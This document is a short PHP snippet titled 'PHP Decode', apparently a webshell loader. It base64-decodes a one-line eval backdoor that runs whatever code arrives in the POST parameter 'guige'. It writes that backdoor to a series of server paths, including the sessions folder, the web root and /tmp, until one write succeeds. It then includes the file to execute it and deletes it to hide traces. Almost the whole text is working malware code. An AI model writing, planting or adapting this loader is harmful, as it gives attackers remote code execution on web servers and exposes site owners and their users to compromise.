PHP Decode

<?php 
 
    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+'; 
    /*<?php @eval($_POST['guige'])?>*/ 
 
    $cfg_ml = base64_decode($cfg_ml); 
    $t = md5(mt_rand(1,100)); 
    //WEBSHELL 
    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t; 
    @file_put_contents($f,$cfg_ml); 
    if(!file_exists($f)) 
    {     
        $f=$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
        //WEBSHELL 
        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
        $f='/tmp/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    }  
    //includeWEBSHELL 
    @include($f); 
    @unlink($f);   
 
?>